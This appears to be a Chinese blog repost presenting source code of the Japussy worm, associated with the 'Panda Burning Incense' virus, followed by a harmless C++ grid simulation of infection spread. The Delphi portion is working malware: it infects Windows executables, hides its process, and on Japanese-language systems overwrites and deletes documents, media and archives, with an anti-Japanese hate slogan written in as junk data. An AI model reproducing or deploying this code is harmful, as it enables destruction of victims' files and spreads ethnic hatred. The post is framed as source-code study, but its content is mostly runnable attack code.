熊猫烧香病毒-源码学习
Posted mysky007
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了熊猫烧香病毒-源码学习相关的知识,希望对你有一定的参考价值。
1 program Japussy; 2 uses 3 Windows, SysUtils, Classes, Graphics, ShellAPI..., Registry; 4 const 5 HeaderSize = 82432; //病毒体的大小 6 IconOffset = $12EB8; //PE文件主图标的偏移量 7 8 //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同 9 //查找2800000020的十六进制字符串可以找到主图标的偏移量 10 11 ... 12 HeaderSize = 38912; //Upx压缩过病毒体的大小 13 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量 14 15 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe 16 17 IconSize = $2E8; //PE文件主图标的大小--744字节 18 IconTail = IconOffset + IconSize; //PE文件主图标的尾部 19 ID = $44444444; //感染标记 20 21 //垃圾码,以备写入 22 Catchword = ‘If a race need to be killed out, it must be Yamato. ‘ + 23 ‘If a country need to be destroyed, it must be Japan! ‘ + 24 ‘*** W32.Japussy.Worm.A ***‘; 25 ...$R *.RES 26 function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; 27 stdcall; external ‘Kernel32.dll‘; //函数声明 28 var 29 TmpFile: string; 30 Si: STARTUPINFO; 31 Pi: PROCESS_INFORMATION; 32 IsJap: Boolean = False; //日文操作系统标记 33 ... 判断是否为Win9x 34 function IsWin9x: Boolean; 35 var 36 Ver: TOSVersionInfo; 37 begin 38 Result := False; 39 Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); 40 if not GetVersionEx(Ver) then 41 Exit; 42 if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x 43 Result := True; 44 end; 45 ... 在流之间复制 46 procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; 47 dStartPos: Integer; Count: Integer); 48 var 49 sCurPos, dCurPos: Integer; 50 begin 51 sCurPos := Src.Position; 52 dCurPos := Dst.Position; 53 Src.Seek(sStartPos, 0); 54 Dst.Seek(dStartPos, 0); 55 Dst.CopyFrom(Src, Count); 56 Src.Seek(sCurPos, 0); 57 Dst.Seek(dCurPos, 0); 58 end; 59 ... 将宿主文件从已感染的PE文件中分离出来,以备使用 60 procedure ExtractFile(FileName: string); 61 var 62 sStream, dStream: TFileStream; 63 begin 64 try 65 sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); 66 try 67 dStream := TFileStream.Create(FileName, fmCreate); 68 try 69 sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分 70 dStream.CopyFrom(sStream, sStream.Size - HeaderSize); 71 finally 72 dStream.Free; 73 end; 74 finally 75 sStream.Free; 76 end; 77 except 78 end; 79 end; 80 ... 填充STARTUPINFO结构 81 procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); 82 begin 83 Si.cb := SizeOf(Si); 84 Si.lpReserved := nil; 85 Si.lpDesktop := nil; 86 Si.lpTitle := nil; 87 Si.dwFlags := STARTF_USESHOWWINDOW; 88 Si.wShowWindow := State; 89 Si.cbReserved2 := 0; 90 Si.lpReserved2 := nil; 91 end; 92 ... 发带毒邮件 93 procedure SendMail; 94 begin 95 //哪位仁兄愿意完成之? 96 end; 97 ... 感染PE文件 98 procedure InfectOneFile(FileName: string); 99 var 100 HdrStream, SrcStream: TFileStream; 101 IcoStream, DstStream: TMemoryStream; 102 iID: LongInt; 103 aIcon: TIcon; 104 Infected, IsPE: Boolean; 105 i: Integer; 106 Buf: array[0..1] of Char; 107 begin 108 try //出错则文件正在被使用,退出 109 if CompareText(FileName, ‘JAPUSSY.EXE‘) = 0 then //是自己则不感染 110 Exit; 111 Infected := False; 112 IsPE := False; 113 SrcStream := TFileStream.Create(FileName, fmOpenRead); 114 try 115 for i := 0 to $108 do //检查PE文件头 116 begin 117 SrcStream.Seek(i, soFromBeginning); 118 SrcStream.Read(Buf, 2); 119 if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记 120 begin 121 IsPE := True; //是PE文件 122 Break; 123 end; 124 end; 125 SrcStream.Seek(-4, soFromEnd); //检查感染标记 126 SrcStream.Read(iID, 4); 127 if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染 128 Infected := True; 129 finally 130 SrcStream.Free; 131 end; 132 if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 133 Exit; 134 IcoStream := TMemoryStream.Create; 135 DstStream := TMemoryStream.Create; 136 try 137 aIcon := TIcon.Create; 138 try 139 //得到被感染文件的主图标(744字节),存入流 140 aIcon.ReleaseHandle; 141 aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); 142 aIcon.SaveToStream(IcoStream); 143 finally 144 aIcon.Free; 145 end; 146 SrcStream := TFileStream.Create(FileName, fmOpenRead); 147 //头文件 148 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); 149 try 150 //写入病毒体主图标之前的数据 151 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); 152 //写入目前程序的主图标 153 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); 154 //写入病毒体主图标到病毒体尾部之间的数据 155 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); 156 //写入宿主程序 157 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); 158 //写入已感染的标记 159 DstStream.Seek(0, 2); 160 iID := $44444444; 161 DstStream.Write(iID, 4); 162 finally 163 HdrStream.Free; 164 end; 165 finally 166 SrcStream.Free; 167 IcoStream.Free; 168 DstStream.SaveToFile(FileName); //替换宿主文件 169 DstStream.Free; 170 end; 171 except; 172 end; 173 end; 174 ... 将目标文件写入垃圾码后删除 175 procedure SmashFile(FileName: string); 176 var 177 FileHandle: Integer; 178 i, Size, Mass, Max, Len: Integer; 179 begin 180 try 181 SetFileAttributes(PChar(FileName), 0); //去掉只读属性 182 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 183 try 184 Size := GetFileSize(FileHandle, nil); //文件大小 185 i := 0; 186 Randomize; 187 Max := Random(15); //写入垃圾码的随机次数 188 if Max < 5 then 189 Max := 5; 190 Mass := Size div Max; //每个间隔块的大小 191 Len := Length(Catchword); 192 while i < Max do 193 begin 194 FileSeek(FileHandle, i * Mass, 0); //定位 195 //写入垃圾码,将文件彻底破坏掉 196 FileWrite(FileHandle, Catchword, Len); 197 Inc(i); 198 end; 199 finally 200 FileClose(FileHandle); //关闭文件 201 end; 202 DeleteFile(PChar(FileName)); //删除之 203 except 204 end; 205 end; 206 ... 获得可写的驱动器列表 207 function GetDrives: string; 208 var 209 DiskType: Word; 210 D: Char; 211 Str: string; 212 i: Integer; 213 begin 214 for i := 0 to 25 do //遍历26个字母 215 begin 216 D := Chr(i + 65); 217 Str := D + ‘:‘; 218 DiskType := GetDriveType(PChar(Str)); 219 //得到本地磁盘和网络盘 220 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then 221 Result := Result + D; 222 end; 223 end; 224 ... 遍历目录,感染和摧毁文件 225 procedure LoopFiles(Path, Mask: string); 226 var 227 i, Count: Integer; 228 Fn, Ext: string; 229 SubDir: TStrings; 230 SearchRec: TSearchRec; 231 Msg: TMsg; 232 function IsValidDir(SearchRec: TSearchRec): Integer; 233 begin 234 if (SearchRec.Attr <> 16) and (SearchRec.Name <> ‘.‘) and 235 (SearchRec.Name <> ‘..‘) then 236 Result := 0 //不是目录 237 else if (SearchRec.Attr = 16) and (SearchRec.Name <> ‘.‘) and 238 (SearchRec.Name <> ‘..‘) then 239 Result := 1 //不是根目录 240 else Result := 2; //是根目录 241 end; 242 begin 243 if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then 244 begin 245 repeat 246 PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑 247 if IsValidDir(SearchRec) = 0 then 248 begin 249 Fn := Path + SearchRec.Name; 250 Ext := UpperCase(ExtractFileExt(Fn)); 251 if (Ext = ‘.EXE‘) or (Ext = ‘.SCR‘) then 252 begin 253 InfectOneFile(Fn); //感染可执行文件 254 end 255 else if (Ext = ‘.HTM‘) or (Ext = ‘.html‘) or (Ext = ‘.ASP‘) then 256 begin 257 //感染HTML和ASP文件,将Base64编码后的病毒写入 258 //感染浏览此网页的所有用户 259 //哪位大兄弟愿意完成之? 260 end 261 else if Ext = ‘.WAB‘ then //Outlook地址簿文件 262 begin 263 //获取Outlook邮件地址 264 end 265 else if Ext = ‘.ADC‘ then //Foxmail地址自动完成文件 266 begin 267 //获取Foxmail邮件地址 268 end 269 else if Ext = ‘IND‘ then //Foxmail地址簿文件 270 begin 271 //获取Foxmail邮件地址 272 end 273 else 274 begin 275 if IsJap then //是倭文操作系统 276 begin 277 if (Ext = ‘.DOC‘) or (Ext = ‘.XLS‘) or (Ext = ‘.MDB‘) or 278 (Ext = ‘.MP3‘) or (Ext = ‘.RM‘) or (Ext = ‘.RA‘) or 279 (Ext = ‘.WMA‘) or (Ext = ‘.ZIP‘) or (Ext = ‘.RAR‘) or 280 (Ext = ‘.MPEG‘) or (Ext = ‘.ASF‘) or (Ext = ‘.JPG‘) or 281 (Ext = ‘.JPEG‘) or (Ext = ‘.GIF‘) or (Ext = ‘.SWF‘) or 282 (Ext = ‘.PDF‘) or (Ext = ‘.CHM‘) or (Ext = ‘.AVI‘) then 283 SmashFile(Fn); //摧毁文件 284 end; 285 end; 286 end; 287 //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑 288 Sleep(200); 289 until (FindNext(SearchRec) <> 0); 290 end; 291 FindClose(SearchRec); 292 SubDir := TStringList.Create; 293 if (FindFirst(Path + ‘*.*‘, faDirectory, SearchRec) = 0) then 294 begin 295 repeat 296 if IsValidDir(SearchRec) = 1 then 297 SubDir.Add(SearchRec.Name); 298 until (FindNext(SearchRec) <> 0); 299 end; 300 FindClose(SearchRec); 301 Count := SubDir.Count - 1; 302 for i := 0 to Count do 303 LoopFiles(Path + SubDir.Strings + ‘‘, Mask); 304 FreeAndNil(SubDir); 305 end; 306 ... 遍历磁盘上所有的文件 307 procedure InfectFiles; 308 var 309 DriverList: string; 310 i, Len: Integer; 311 begin 312 if GetACP = 932 then //日文操作系统 313 IsJap := True; //去死吧! 314 DriverList := GetDrives; //得到可写的磁盘列表 315 Len := Length(DriverList); 316 while True do //死循环 317 begin 318 for i := Len downto 1 do //遍历每个磁盘驱动器 319 LoopFiles(DriverList + ‘:‘, ‘*.*‘); //感染之 320 SendMail; //发带毒邮件 321 Sleep(1000 * 60 * 5); //睡眠5分钟 322 end; 323 end; 324 ... 主程序开始 325 begin 326 if IsWin9x then //是Win9x 327 RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 328 else //WinNT 329 begin 330 //远程线程映射到Explorer进程 331 //哪位兄台愿意完成之? 332 end; 333 //如果是原始病毒体自己 334 if CompareText(ExtractFileName(ParamStr(0)), ‘Japussy.exe‘) = 0 then 335 InfectFiles //感染和发邮件 336 else //已寄生于宿主程序上了,开始工作 337 begin 338 TmpFile := ParamStr(0); //创建临时文件 339 Delete(TmpFile, Length(TmpFile) - 4, 4); 340 TmpFile := TmpFile + #32 + ‘.exe‘; //真正的宿主文件,多一个空格 341 ExtractFile(TmpFile); //分离之 342 FillStartupInfo(Si, SW_SHOWDEFAULT); 343 CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 344 0, nil, ‘.‘, Si, Pi); //创建新进程运行之 345 InfectFiles; //感染和发邮件 346 end; 347 end.
下面是C++版本
#include<iostream> #include<time.h> #include<windows.h> using namespace std; #define MAXNODE 100 #define MAXVER 100 //病毒类型种类的最大值 typedef struct VertexType //一台电脑的信息 int day;//第几天感染的 int dl;//防御级别 int r,c;//行列号 int vt;// 病毒类型 VertexType; typedef struct MGraph //整个图的构造 VertexType m[MAXNODE][MAXNODE]; int row,colum ,num;//行列数,感染的数目 MGraph; void virspread(VertexType v,int nowday); MGraph mg ;//定义 void MGraphInit()//初始化 int i,j; for(i=0;i<mg.row;i++) for(j=0;j<mg.colum;j++) mg.m[i][j].vt =0; mg.m[i][j].dl=0; mg.m[i][j].day=0; mg.num=0; mg.m[i][j].r=i; mg.m[i][j].c=j; void MGraphCreat()//创建图,邻接矩阵 MGraphInit(); srand( (unsigned)time( NULL ) ); cout<<"请逐行输入"<<endl; int i,j; for(i=0;i<mg.row;i++) //cout<<"输入第"<<i+1<<"行:"<<endl; for(j=0;j<mg.colum;j++) int a; //cin>>a; a=(10-rand()%20); if(a==0) a=a+1; if(a>0) mg.m[i][j].vt=a; else mg.m[i][j].dl=0-a; //if //for int k=(mg.row+mg.colum)/2; int h=(mg.row+mg.colum)/3; mg.m[k][k].vt=1;//确保有一台机器已经被感染 mg.m[h][h].dl=3;//确保有一台机器没有被感染 //MGraphCreat void vir() //依次寻找病毒并调用函数virspread(mg.m[i][j],nowday);进行病毒的传播 int virtype=1; int i,j; int nowday=1; while(mg.num<(mg.row*mg.colum)) mg.num=0; while(virtype<=MAXVER) for(i=0;i<mg.row;i++) for(j=0;j<mg.colum;j++) if(mg.m[i][j].vt==virtype) virspread(mg.m[i][j],nowday); virtype++; for(i=0;i<mg.row;i++) for(j=0;j<mg.colum;j++) if((mg.m[i][j].vt)>0) mg.num++; /***********显示每天的感染情况*********/ Sleep(3000); //停顿3s system("cls"); //清屏 cout<<"第"<<nowday<<"天情况为:"<<endl; for(i=0;i<mg.row;i++) for(j=0;j<mg.colum;j++) if(mg.m[i][j].vt!=0) cout<<mg.m[i][j].vt<<"★"<<" "; else cout<<(0-mg.m[i][j].dl)<<"☆"<<" "; cout<<endl; cout<<endl; /***********显示每天的感染情况*********/ nowday++; virtype=1; void virspread(VertexType v,int _nowday) //病毒传播函数 VertexType qv[4*MAXNODE]; int front = 0,rear = 1; qv[1] = v; while(front<=rear)// ↑,←,↓,——>四个方向进行传播 v=qv[++front]; if(v.r-1>=0&&mg.m[v.r-1][v.c].vt==0&&mg.m[v.r-1][v.c].dl<=_nowday) mg.m[v.r-1][v.c].vt=v.vt; qv[++rear]=mg.m[v.r-1][v.c]; if(v.c-1>=0&&mg.m[v.r][v.c-1].vt==0&&mg.m[v.r][v.c-1].dl<=_nowday) mg.m[v.r][v.c-1].vt=v.vt; qv[++rear]=mg.m[v.r][v.c-1]; if(v.r+1<mg.row&&mg.m[v.r+1][v.c].vt==0&&mg.m[v.r+1][v.c].dl<=_nowday) mg.m[v.r+1][v.c].vt=v.vt; qv[++rear]=mg.m[v.r+1][v.c]; if(v.c+1<mg.colum&&mg.m[v.r][v.c+1].vt==0&&mg.m[v.r][v.c+1].dl<=_nowday) mg.m[v.r][v.c+1].vt=v.vt; qv[++rear]=mg.m[v.r][v.c+1]; int main() int i,j; int k; int a[MAXNODE]; cout<<"输入行列数目"<<endl; cout<<"行:";cin>>mg.row; cout<<"列:";cin>>mg.colum; //输入行列数目 MGraphCreat(); cout<<"你的输入为:"<<endl; for(i=0;i<mg.row;i++) for(j=0;j<mg.colum;j++) if(mg.m[i][j].vt!=0) cout<<mg.m[i][j].vt<<" "; else cout<<(0-mg.m[i][j].dl)<<" "; cout<<endl; cout<<endl; Sleep(3000); //停顿3s system("cls"); //清屏 cout<<"图形表示为:"<<endl; for(i=0;i<mg.row;i++) for(j=0;j<mg.colum;j++) if(mg.m[i][j].vt!=0) cout<<mg.m[i][j].vt<<"★"<<" "; else cout<<(0-mg.m[i][j].dl)<<"☆"<<" "; cout<<endl; cout<<endl; vir(); for(int m=1;m<MAXNODE-1;m++) a[m]=0; for(i=0;i<mg.row;i++) for(j=0;j<mg.colum;j++) a[mg.m[i][j].vt]++; //Sleep(3000); //停顿3s //system("cls"); //清屏 cout<<"感染完后的变种的数目:"<<endl; for(k=1;k<MAXNODE-1;k++) if(a[k]!=0) cout<<"变种类型为 "<<k<<"的变种数目是:"<<a[k]<<endl; return 0; //main
以上是关于熊猫烧香病毒-源码学习的主要内容,如果未能解决你的问题,请参考以下文章